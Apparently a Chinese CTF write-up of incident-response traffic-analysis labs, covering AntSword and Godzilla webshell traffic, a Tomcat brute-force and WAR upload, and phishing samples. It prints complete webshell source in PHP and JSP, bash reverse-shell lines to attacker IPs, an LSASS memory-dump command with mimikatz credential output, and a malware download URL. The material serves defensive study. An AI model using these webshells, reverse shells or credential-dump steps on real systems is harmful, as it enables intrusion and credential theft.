2.黑客执行的第一个命令是什么
3.黑客读取了哪个文件的内容,提交文件绝对路径
4.黑客上传了什么文件到服务器,提交文件名
5.黑客上传的文件内容是什么
6.黑客下载了哪个文件,提交文件绝对路径
使用Wireshark搜索http,追踪http流,从上往下看
Q1
木马连接密码
flag{1}
有很明显的蚁剑Webshell加载器特征,其实利用蚁剑去执行的各种操作都会有明显的特征,这里用ai整理了一下
执行命令
| 特征项 | 具体表现 | 示例 |
|---|---|---|
| 参数数量 | 3个固定参数 | p, s, e |
| 参数含义 | p=解释器, s=命令, e=环境变量 | |
| 参数值格式 | 全部为:2随机字符 + Base64 | ouL2Jpbi9zaA== |
| 解码示例 | 去掉前2字符 + Base64解码 | ouL2Jpbi9zaA== → /bin/sh |
| 命令组合 | 常包含cd和&& | cd "/path" && ls -la |
| 心跳检测 | 包含echo随机字符串 | echo e124bc |
| 响应前缀 | 6位hex(如 51db70) | |
| 响应后缀 | 5-6位hex(如 3b020) |
文件上传
| 特征项 | 具体表现 | 示例 |
|---|---|---|
| 参数数量 | 2个固定参数 | 路径参数 + 内容参数 |
| 参数1 | 文件路径 | Base64 + 2随机前缀 |
| 参数2 | 文件内容 | 纯十六进制字符串 |
| 内容编码 | 十六进制 → ASCII | 666C6167 → flag |
| 文件模式 | 通常为追加模式("a") | fopen($f, "a") |
| 响应内容 | 成功返回"1",失败"0" | Base64编码的”1″或”0″ |
文件下载/读取
| 特征项 | 具体表现 | 示例 |
|---|---|---|
| 参数数量 | 1个参数(最简单) | 仅文件路径 |
| 参数格式 | Base64 + 2随机前缀 | |
| 常见目标 | 配置文件、数据库、flag文件 | .php, .env, .sql, flag |
| 请求时机 | 通常在目录浏览之后 | 先ls再cat |
| 响应大小 | 通常较大(文件内容) | |
| 常见协议 | file:// 或直接路径 | file:///etc/passwd |
Q2
黑客执行的第一个命令是什么

flag{id}
Q3
黑客读取了哪个文件的内容,提交文件绝对路径
flag{/etc/passwd}

Q4
黑客上传了什么文件到服务器,提交文件名
一样的跟着顺着找就行
flag{flag.txt}
Q5
黑客上传的文件内容是什么
丁真666

Q6
黑客下载了哪个文件,提交文件绝对路径
顺着找流量就能找到
flag{/var/www/html/config.php}
主要还是为了学习流量特征以及了解蚁剑Webshell怎么运作的
第六章 流量特征分析-蚂蚁爱上树
应急响应小组成员老狼在 waf 上下载了一段流量,请你分析黑客攻击手法,并且解答下面问题
1. 管理员Admin账号的密码是什么?
2. LSASS.exe的程序进程ID是多少?
3. 用户WIN101的密码是什么?
Q1
管理员Admin账号的密码是什么?
利用Wireshark分析流量包

找到蚁剑连接的流量特征,此处采用了二次编码
解码得到完整webshell
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){return $out;};
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "8cb4"."d7f7f";echo @asenc($output);echo "7d32"."eb2bb";}ob_start();try{
// 解码三个核心参数
$p=base64_decode(substr($_POST["lb4158df053a71"],2)); // 解释器 → "cmd"
$s=base64_decode(substr($_POST["s35c62187bcdb2"],2)); // 命令
$envstr=@base64_decode(substr($_POST["uec4310ea3a8b9"],2)); // 环境变量
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\""; // Windows用/c
// 设置PATH环境变量(Windows)
if(substr($d,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
// 设置自定义环境变量
if(!empty($envstr)){
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
// 构造完整命令
$r="{$p} {$c}";
// 检查函数是否可用
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){$d=array();}
else{$d=array_map('trim',array_map('strtolower',$d));}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
// Shellshock漏洞利用(针对Linux)
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
};
// 多方式执行命令
function runcmd($c){
$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
// 尝试多种命令执行方式
if(fe('system')){
@system($c,$ret);
}elseif(fe('passthru')){
@passthru($c,$ret);
}elseif(fe('shell_exec')){
print(@shell_exec($c));
}elseif(fe('exec')){
@exec($c,$o,$ret);
print(join("\n",$o));
}elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp,2048));
}
@pclose($fp);
}elseif(fe('proc_open')){
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){
print(@fgets($io[1],2048));
}
while(!@feof($io[2])){
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}elseif(fe('antsystem')){
@antsystem($c);
}elseif(runshellshock($d, $c)) {
return $ret;
}elseif(substr($d,0,1)!="/" && @class_exists("COM")){
// Windows COM组件方式
$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
}else{
$ret = 127;
}
return $ret;
};
// 执行命令
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();die();
最后处有执行的命令

这里我们知道蚁剑连接是在product2.php上的,所以执行添加用户很有可能也是在此,利用命令快速锁定,过滤一下无用流量
http.request.method=="POST" && http.request.uri matches "product2.php.*"
慢慢找到

flag{password1}
Q2
LSASS.exe的程序进程ID是多少?
LSASS.exe默认存放路径:C:\Windows\System32\lsass.exe
负责用户身份验证、凭据管理和安全策略执行,存储在内存中的登录凭据使其成为攻击者窃取凭证的主要目标
接着翻流量,流量有点多,这里引用一下perterpan师傅的分析
Rundll32.exe 是 Windows 操作系统中的一个实用程序,允许用户通过命令行运行基于 DLL 的函数。攻击者可以利用这个合法的系统工具来执行恶意操作,例如调用特定 DLL 文件中的函数来执行恶意代码
comsvcs.dll 和 MiniDump 函数
comsvcs.dll 是 Windows 系统中的一个 DLL 文件,包含与 COM+ 服务相关的功能。这个 DLL 文件中的 MiniDump 函数可以用来创建内存转储文件(memory dump),这些文件包含了系统内存的快照,可能包括敏感信息,如用户凭证
攻击流程
调用 rundll32.exe 攻击者使用 rundll32.exe 来调用 comsvcs.dll 中的 MiniDump 函数。命令格式如下:
rundll32.exe comsvcs.dll, MiniDump <PID> <DUMP_FILE_PATH> full
<PID> 是目标进程的进程 ID,例如 LSASS 的进程 ID。
<DUMP_FILE_PATH> 是要生成的转储文件路径,例如 C:\Windows\Temp\lsass.dmp。
生成 lsass.dmp 文件 这个命令会生成一个包含 LSASS 进程内存内容的转储文件,通常命名为 lsass.dmp。LSASS 进程管理着系统的用户凭证,因此这个转储文件可能包含敏感信息,如密码哈希。
使用 Mimikatz 读取凭证 攻击者随后使用 Mimikatz 等工具来读取和提取转储文件中的凭证。Mimikatz 是一个广泛使用的安全工具,可以从明

flag{852}
Q3
用户WIN101的密码是什么?
根据这条语句
·~\·m|···oa·cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\OnlineShopBackup.zip full&echo [S]&cd&echo [E] ··
将下载的zip文件利用010修改为dmp文件,放到猕猴桃里得到数据
mimikatz # sekurlsa::minidump C:\Users\ASUS\Desktop\product2.dmp
Switch to MINIDUMP : 'C:\Users\ASUS\Desktop\product2.dmp'
mimikatz # sekurlsa::logonpasswords
Opening : 'C:\Users\ASUS\Desktop\product2.dmp' file for minidump...
Authentication Id : 0 ; 1183799 (00000000:00121037)
Session : Interactive from 1
User Name : win101
Domain : VULNTARGET
Logon Server : WIN-UH20PRD3EAO
Logon Time : 2023/10/19 11:35:08
SID : S-1-5-21-3374851086-947483859-3378876003-1103
msv :
[00000003] Primary
* Username : win101
* Domain : VULNTARGET
* NTLM : 282d975e35846022476068ab5a3d72df
* SHA1 : bc9ecca8d006d8152bd51db558221a0540c9d604
* DPAPI : 8d6103509e746ac0ed9641f7c21d7cf7
tspkg :
wdigest :
* Username : win101
* Domain : VULNTARGET
* Password : (null)
kerberos :
* Username : win101
* Domain : VULNTARGET.COM
* Password : (null)
ssp :
credman :
MD5解密一下NTML
flag{admin#123}
第六章 流量特征分析-常见攻击事件 tomcat
附件题
简介
1、在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}
2、找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}
3、哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}
4、经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}
5、攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag{root-123}
6、攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}
7、攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息
Q1
在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}
端口扫描特征:
- SYN扫描:大量SYN包,很少完成三次握手
- 全端口扫描:短时间内访问1-65535端口
- 固定源端口:攻击者使用固定端口扫描
既然是找恶意扫描行为,那就要筛选出现最多的IP,可利用Wireshark的统计功能,找到出现频繁的IP
统计(Statistics) → 对话(Conversations) → IPv4

可以看到14.0.0.120有大量的异常流量
flag{14.0.0.120}
Q2
找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}
随便找个IP归属查询网站就行

flag{guangzhou}
Q3
哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}
常见的 Web 管理面板端口
- 80(HTTP):不安全的网页访问
- 443(HTTPS):安全的网页访问
- 8080:常见的备用 HTTP 端口
- 8443:常见的备用 HTTPS 端口
- 2082, 2083:cPanel 默认管理端口
- 10000:Webmin 默认管理端口
- 8006:Proxmox Virtual Environment 管理端口
- 3000:自定义和开发中的管理面板
常见管理面板关键词
admin,webmin,dashboard,manage,cpanel,login
过滤器找Web Http流量,寻找200请求成功的即可(http.response.code == 200),然后不光找到了/manager还找到了/admin,但是不影响,因为端口都是8080

flag{8080}
Q4
经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}
我们知道其http有很多404响应,判定为工具爆破,追踪流看信息即可
判定为爆破很简单,就是因为在短时间内,IP对多个路径进行了请求或者说包含大量敏感路径的爆破
过滤器http.response.code == 404

flag{gobuster}
Q5
攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag{root-123}
先筛选http流量,看到了这个

在/manager/html/upload并且上传了文件,就肯定是已经登陆成功的,跟踪流量

看到HTTP Basic Authentication(基本认证) 的凭证头
Authorization: Basic base64_encode(username:password)
Authorization: Basic YWRtaW46dG9tY2F0
所以得到
flag{admin-tomcat}
Q6
攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}
上面那个流量已经看到了
若不放心,可以讲此war包下载下来,处理后包含文件rzpmxxmm.jsp木马文件

还可以专门关注Content-Disposition字段,此字段包含上传文件的名称
Content-Disposition: form-data; name="deployWar"; filename="JXQOZY.war"
flag{JXQOZY.war}
Q7
攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息
权限维持手段主要就关注恶意文件,定时任务和后门程序,题目提示为某种任务里的信息,即关注定时任务
可以通过查看关键路径/bin,看看有没有命令被修改过,作为包含Linux系统命令的目录,可以从/bin和查找定时任务进行信息收集
tcp contains "/bin"
注:“HTTP数据确实会被TCP分割传输,但Wireshark等网络分析工具会自动重组TCP流,在HTTP协议视图中显示完整数据。对于搜索功能,使用’分组详情’模式会搜索重组后的数据,而’分组字节’模式只搜索单个数据包的原始内容。因此,通常不需要手动查看TCP原始流量来搜索完整的HTTP内容”
也可通过直接筛选定时任务进行查看
tcp contains "crontab"

flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}
第六章 流量特征分析-waf 上的截获的黑客攻击流量
附件题
简介
应急响应工程师小徐在 waf 上下载了一段黑客的攻击流量,请你分析黑客的攻击流量,并且找到对应的关键信息提供给应急小组协助修复漏洞
1.黑客成功登录系统的密码 flag{xxxxxxxxxxxxxxx}
2.黑客发现的关键字符串 flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
3.黑客找到的数据库密码 flag{xxxxxxxxxxxxxxxx}
Q1
1.黑客成功登录系统的密码 flag{xxxxxxxxxxxxxxx}
登陆一般是post请求,过滤http流量可以看到有/admin/login.php

虽然看流量包很大,但是上面一找跟进就能看到其中有一个302跳转的响应,肯定就是登陆成功跳转
可恶,这个居然不对,并没有登陆成功,流量太多,利用过滤器筛选
http.request.method == "POST",对应数据包为72637
后面又看了看,发现攻击IP为59的有很明显的流量攻击行为,所以锁定他的就行

最后成功找到
flag{admin!@#pass123}
Q2
黑客发现的关键字符串 flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
找关键字字符串flag,就单纯是找。关键字筛选
有些难找,感觉就是纯找
/images/article/a.php在这里面的一个数据包里藏着
能找到不少包含flag的网页
flag{87b7cb79481f317bde90c116cf36084b}
Q3
黑客找到的数据库密码 flag{xxxxxxxxxxxxxxxx}
找数据库密码,直接锁定,关键词dbuser和dbpass
http contains "dbpass"

flag{e667jUPvJjXHvEUv}
第六章 流量特征分析-小王公司收到的钓鱼邮件
简介
服务器场景操作系统 None
服务器账号密码 None None
任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王在 WAF 上发现了一段恶意流量,请分析流量且提交对应 FLAG
Q1
下载数据包文件 hacker1.pacapng,分析恶意程序访问了内嵌 URL 获取了 zip 压缩包,该 URL 是什么将该 URL作为 FLAG 提交 FLAG(形式:flag{xxxx.co.xxxx/w0ks//?YO=xxxxxxx}) (无需 http、https)
筛选http流,发现很少,直接就能找得到

flag{tsdandassociates.co.sz/w0ks//?YO=1702920835}
Q2
下载数据包文件 hacker1.pacapng,分析获取到的 zip 压缩包的 MD5 是什么 作为 FLAG 提交 FLAG(形式:flag{md5})
将zip导出即可,然后进行MD5加密就可以,追踪http流,直接导出分组字节流就可以(根据协议分级查找)
协议分级(Protocol Hierarchy)是一个统计功能,用于快速分析流量组成和分布

得到
flag{f17dc5b1c30c512137e62993d1df9b2f}
Q3
下载数据包文件 hacker1.pacapng,分析 zip 压缩包通过加载其中的 javascript 文件到另一个域名下载后续恶意程序, 该域名是什么?提交答案:flag{域名}(无需 http、https)
解压zip文件,有js文件
- 清理脚本:
- 先移除所有
/*...*/格式的注释,简化代码结构
- 先移除所有
- 识别混淆手法:
- 脚本使用了字符串分割和重组的方式来绕过WAF检测
- 关键特征是使用
+= ':'这种字符串拼接操作
- 定位关键代码:
- 直接搜索
+= ':'可以快速找到URL拼接的位置 - 这是攻击者隐藏恶意下载地址的关键代码段
- 直接搜索
- 提取真实地址:
- 将找到的代码段复制到浏览器控制台执行
- 执行后会得到真实的恶意软件下载地址
o457607380 = '';
o457607380 += 'h';
o457607380 += 't';
o457607380 += 't';
o457607380 += 'p';
o457607380 += 's';
o457607380 += ':';
o457607380 += '/';
o457607380 += '/';
o457607380 += 's';
o457607380 += 'h';
o457607380 += 'a';
o457607380 += 'k';
o457607380 += 'y';
o457607380 += 'a';
o457607380 += 's';
o457607380 += 't';
o457607380 += 'a';
o457607380 += 't';
o457607380 += 'u';
o457607380 += 'e';
o457607380 += 's';
o457607380 += 't';
o457607380 += 'r';
o457607380 += 'a';
o457607380 += 'd';
o457607380 += 'e';
o457607380 += '.';
o457607380 += 'c';
o457607380 += 'o';
o457607380 += 'm';
o457607380 += '/';
o457607380 += 'I';
o457607380 += 'h';
o457607380 += 'A';
o457607380 += '6';
o457607380 += 'F';
o457607380 += '/';
o457607380 += '6';
o457607380 += '1';
o457607380 += '6';
o457607380 += '2';
o457607380 += '3';
o457607380 += '1';
o457607380 += '6';
o457607380 += '0';
o457607380 += '3';
console.log(o457607380);
// https://shakyastatuestrade.com/IhA6F/616231603
flag{shakyastatuestrade.com}
第六章-哥斯拉4.0流量分析
简介
请你登录服务器结合数据包附件来分析黑客的入侵行为
用户名:root
密码:xj@gsl4.0
SSH连接:ssh root@ip -p 222
Q1
1、黑客的IP是什么?
下载流量包看流量,筛选http流量,可以看到爆破目录行为,404行为较多,直接就锁定为黑客IP

flag{192.168.31.190}
Q2
2、黑客是通过什么漏洞进入服务器的?(提交CVE编号)
分析要点可从请求方式,请求内容,攻击特征和响应状态去锁定CVE
锁定响应状态204

PUT请求方式,具有明显特征,实在不知道是啥可以将流量包送给ai去查找
Apache Tomcat PUT方法任意文件上传漏洞,CVE-2017-12615
flag{CVE-2017-12615}
Q3
3、黑客上传的木马文件名是什么?(提交文件名)
答案显而易见了
flag{hello.jsp}
Q4
4、黑客上传的木马连接密码是什么?
看流量包就知道
PUT /hello.jsp/ HTTP/1.1
Host: 192.168.31.168:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=BB06CCAD2D89AA0BACA30B2BBCE3F2CE
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 2619
<%! String xc="1710acba6220f62b"; String pass="7f0e6f"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
HTTP/1.1 204
Date: Thu, 19 Sep 2024 12:50:20 GMT
flag{7f0e6f}
Q5
5、黑客上传的木马解密密钥是什么?
看上面流量包
flag{1710acba6220f62b}
到这里了,先讲讲哥斯拉webshell特征吧,首先这上传的是一个哥斯拉木马
首先是加密通信特征
String xc="1710acba6220f62b"; // AES密钥
String pass="7f0e6f"; // 参数名
String md5=md5(pass+xc); // MD5校验值
动态类加载机制
class X extends ClassLoader{
public X(ClassLoader z){super(z);}
public Class Q(byte[] cb){
return super.defineClass(cb, 0, cb.length);
}
}
- 自定义ClassLoader动态加载恶意类
- 可以实现内存马,不落地执行
哥斯拉独特特征:
- 全流量加密:所有通信都经过AES加密
- 内存马支持:可以加载内存驻留型后门
- 插件化架构:支持通过payload扩展功能
- 跨平台:Java版本可在Windows/Linux运行
- 免杀性强:动态类加载和加密通信绕过传统检测
与冰蝎的区别:
- 哥斯拉:使用AES加密,自定义ClassLoader,session存储payload
- 冰蝎:早期使用DES加密,后期版本也有AES,动态编译Java类
Q6
6、黑客连接webshell后执行的第一条命令是什么?
利用到哥斯拉流量解密工具BlueTeamTools

然后回到流量包中去寻找,筛选http流,重点关注响应200的,这里还是挺好找的,实战另说毕竟是学习个思路

7f0e6f=NrJ21IQ%2B5%2F5jh%2FC6iENFuzLG4QSyoIln8DjyLlej12aZxFNdvxRse%2F8UpTNrR%2FZAXX%2B%2FMj8PTkUyArg9LjASUWUNP8kwRBs1nEZJg6QW1FPflVogF8TiJoaTQKm%2BrGIR%2BS2iSMgsgHdPAFEHM3Po91H5UcZECdkNerEjPO8ueuk1NJ0EuO%2B13DXJUYC79ZgYt0py9nvCAOvgpSAAsBrwWQ%3D%3D

B333AF03A314E0FBgsHdfc8+H+CXoS9AxfQOJA2wfAON7mA0Bh8Uj9S1dz9Uzz7rEVdkGAQ4e2iW2kny0F00BC7E2672E1F5
返回响应

从返回可以得知第一个执行的命令
flag{uname -r}
Q7
7、黑客连接webshell时查询当前shell的权限是什么?
还是一样分析流量包,可以通过攻击者执行的命令得知用户权限,依旧找找找


我们从一个流量包中可以看到执行过id命令,解密对应响应即可

flag{root}
Q8
8、黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?
和上面一样找找找就完事了,大多常用命令为
cat /etc/os-release
lsb_release -a
cat /etc/issue
cat /etc/debian_version
uname -a
最终找到
flag{Debian GNU/Linux 10 (buster)}
Q9
9、黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)
在大小为325的包中找到



执行失败,并不是这个,但是可以知道是过滤了pam,执行了此命令,再看到323的包


dpkg -l libpam-modules:amd64,通过这个命令查询并过滤了与 libpam-modules 包相关的信息
可知攻击者查询了更新包信息并执行成功了,所以执行的命令就是
flag{dpkg -l libpam-modules:amd64}
Q10
10、黑客留下后门的反连的IP和PORT是什么?(IP:PORT)
一样找找找

echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash
得到
flag{192.168.31.143:1313}
Q11
11、黑客通过什么文件留下了后门?
留后门文件,流量大,通过webshell上传的,所以锁定hello.php进行查找
http contains "/hello.jsp"
按照大小筛选,选大的先看,很快就找得到


看到上传的恶意so文件
flag{pam_unix.so}
Q12&Q13
12、黑客设置的后门密码是什么?
13、黑客的恶意dnslog服务器地址是什么?
find / -name "pam_unix.so" 2>/dev/null
用history查看
root@ip-10-0-10-4:/tmp# cd /tmp/pam_unix.so /lib/x86_64-linux-gnu/security
-bash: cd: too many arguments
root@ip-10-0-10-4:/tmp# cd
root@ip-10-0-10-4:~# history
1 history
2 exit
3 his
4 history
5 exit
6 exit
7 rpm -qa | grep pam
8 dpkg -l libpam-modules:amd64
9 exit
10 exit
11 cp /lib/x86_64-linux-gnu/security/pam_unix.so /opt/.pam_unix.so.bak
12 cp /tmp/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so
13 exit
14 pwd
15 passwd root
16 exit
17 cd /tmp
18 cd /tmp/pam_unix.so /lib/x86_64-linux-gnu/security
19 cd
20 history
把so文件下载到本地放到IDA里分析
pam_sm_authenticate 是 PAM 框架中的关键函数,负责用户身份验证(要的就是这个验证“密码”)。与其他 PAM 函数相比,它专注于验证用户凭证,确保只有合法用户可以访问系统或服务PAM是Linux系统的统一身份认证框架
配置文件位置
/etc/pam.d/ # 应用程序的PAM配置目录
/etc/pam.conf # 全局配置文件(较少用)
/lib*/security/ # PAM模块存放目录
├── pam_unix.so # 本地Unix密码认证
├── pam_ldap.so # LDAP认证
├── pam_tally2.so # 登录失败锁定
└── ...
所以我们直接去看这个函数

特殊密码检查,可以确认为后门密码
flag{XJ@123}

恶意 DNSLog 服务器的地址,在代码里也能看得到
flag{c0ee2ad2d8.ipv6.xxx.eu.org.}
第七章 常见攻击事件分析–钓鱼邮件
Q1
请分析获取黑客发送钓鱼邮件时使用的IP,flag格式: flag{11.22.33.44}
下载附件看到钓鱼邮件
.eml文件是邮件消息文件格式,包含完整的电子邮件内容,包括邮件头和邮件正文,可能是钓鱼邮件原邮件
X-RM-TagInfo: emlType=1
X-RM-SPAM:
X-RM-SPAM-FLAG:00010000
Received:from mail.ffcs.cn (unknown[61.154.14.126])
by rmmx-cloud_rmmx_9_04-12063 (RichMail) with SMTP id 2f1f61512e47e91-1c7b5;
Mon, 27 Sep 2021 10:36:55 +0800 (CST)
X-RM-TRANSID:2f1f61512e47e91-1c7b5
X-Magicmail-Tracer: ok
Received: (qmail 191289 invoked by uid 0); 27 Sep 2021 02:36:54 -0000
Received: from 127.0.0.1 by mail.ffcs.cn (envelope-from <ffnic@ffcs.cn>, uid 0) with qmail-scanner-1.24
(clamdscan: 0.98.4/26074.
Clear:RC:1(127.0.0.1):.
Processed in 0.248744 secs); 27 Sep 2021 02:36:54 -0000
X-MMQ-ID: 191225-3c0c9bf80fa7326cf9859c656a0a8930
X-MMQ-Recipts: none
X-Smtpd-From-Origin: ffnic@ffcs.cn
X-Smtpd-Saved: yes
Received: from unknown (HELO localhost) (ffnic@[127.0.0.1])
(envelope-sender <ffnic@ffcs.cn>)
by 0 (magicmail) with SMTP
for <139xxxx7085@139.com>; 27 Sep 2021 02:36:54 -0000
X-Smtpd-Remotehost: unknown
X-Smtpd-Helo: localhost
X-Smtpd-IP: 127.0.0.1
X-Smtpd-From: ffnic@ffcs.cn
X-Smtpd-To: 139xxxx7085@139.com
X-Smtpd-Sender: ffnic@ffcs.cn
From: "=?UTF-8?B?Y2hlbmxpbmNoZW5nMTM5?=" <ffnic@ffcs.cn>
Sender: "=?UTF-8?B?Y2hlbmxpbmNoZW5nMTM5?=" <ffnic@ffcs.cn>
To: "139xxx" <139xxx@139.com>,
"136xxx" <136xxx@139.com>,
"134xxx" <134xxx@139.com>,
"158xxx" <158xxx@139.com>,
"139xxx" <139xxx@139.com>,
"157xxx" <157xxx@139.com>,
"136xxx" <136xxx@139.com>,
"135xxx" <135xxx@139.com>
Subject: =?utf-8?B?57uI56uv5a6J5YWo6Ieq5p+l5bel5YW3?=
Date: Mon, 27 Sep 2021 10:36:54 +0800
X-Mailer: MagicMail WebMail (from: 121.204.224.15)
X-Priority: 3
Reply-To: ffnic@ffcs.cn
Message-ID: <975d9479d1be244ee63834d8b775214e@MagicMail>
MIME-Version: 1.0
Content-Type: multipart/mixed;
·······················
分析邮件
Received:from mail.ffcs.cn (unknown[61.154.14.126])
by rmmx-cloud_rmmx_9_04-12063 (RichMail) with SMTP id 2f1f61512e47e91-1c7b5;
Mon, 27 Sep 2021 10:36:55 +0800 (CST)
61.154.14.126的服务器mail.ffcs.cn传输到rmmx-cloud_rmmx_9_04-12063服务器,时间2021年9月27日10:36:55(CST)
Received: (qmail 191289 invoked by uid 0); 27 Sep 2021 02:36:54 -0000
Received: from 127.0.0.1 by mail.ffcs.cn (envelope-from <ffnic@ffcs.cn>, uid 0) with qmail-scanner-1.24
(clamdscan: 0.98.4/26074.
Clear:RC:1(127.0.0.1):.
Processed in 0.248744 secs); 27 Sep 2021 02:36:54 -0000
这条记录表示邮件从本地地址127.0.0.1通过qmail-scanner传输到mail.ffcs.cn服务器,时间2021年9月27日02:36:54(UTC)
关键点
X-Mailer: MagicMail WebMail (from: 121.204.224.15)
121.204.224.15使用MagicMail WebMail发送的,作为钓鱼邮件的来源IP,可能作为攻击者的IP,最早的一条记录(即最后一个 “Received” 部分)通常包含了原始发件者的IP地址
flag{121.204.224.15}
Q2
请分析获取黑客钓鱼邮件中使用的木马程序的控制端IP,flag格式:flag{11.22.33.44}
Content-Transfer-Encoding: base64邮件正文使用的是base64编码
“钓鱼邮件.eml”文件包含了邮件的完整内容,包括文本、HTML格式、嵌入的图片和链接,通常会嵌入恶意链接或附件
放入云沙箱将钓鱼邮件,因为沙箱会模拟打开邮件

可以看到

C2Server 107.16.111.57
flag{107.16.111.57}
Q3
